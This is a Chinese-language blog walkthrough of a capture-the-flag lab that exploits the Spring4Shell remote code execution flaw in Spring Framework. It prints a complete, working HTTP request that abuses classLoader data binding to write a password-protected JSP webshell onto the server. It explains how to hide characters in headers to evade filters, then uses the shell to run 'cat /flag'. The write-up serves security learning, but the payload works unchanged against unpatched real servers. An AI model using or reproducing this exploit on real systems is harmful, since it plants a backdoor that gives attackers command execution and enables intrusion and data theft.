本博客所有网络安全相关教程、漏洞原理、渗透实操、攻防技术等内容,仅用于合法安全学习、白帽技术交流、企业授权安全测试。
所有技术严禁用于未授权探测、非法入侵、数据窃取、网络攻击等任何违反《中华人民共和国网络安全法》的违法行为。
任何个人利用本文内容实施违规操作,所产生的一切法律责任与后果均由当事人自行承担,与本人无关。
倡导正向网络安全学习,坚守白帽底线,共建清朗网络环境。
靶标介绍:
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
解题步骤
1.打开 Burp Suite
2.打开内嵌浏览器,浏览器能正常访问靶场
打开代理

抓包
3.右击发送到重发器,进入 Repeater(重发器)
4.清空里面所有内容
5.粘贴payload,将重发器内容替换到下面内容
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: eci-2ze1oyjb5kc42eizgc85.cloudeci1.ichunqiu.com:8080
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Connection: close
往服务器里写入一个能执行命令的 JSP 木马
- 敏感符号不能放 URL → 藏请求头
- URL 用 %{xxx} 占位符 → 不触发拦截
- // 注释日志 → 保证木马干净可用
如下图所示,粘贴后点击发送

查看响应,看状态码是200 OK 说明成功写入

回到代理页面,关闭拦截
6.在浏览器打开下面地址
https://eci-2ze1oyjb5kc42eizgc85.cloudeci1.ichunqiu.com:8080/shell.jsp?pwd=j&cmd=cat /flag
访问后发现有很多内容,但里面出现了flag
出现这么多乱码是因为我之前发送了很多请求,文件被多次写入造成了污染。
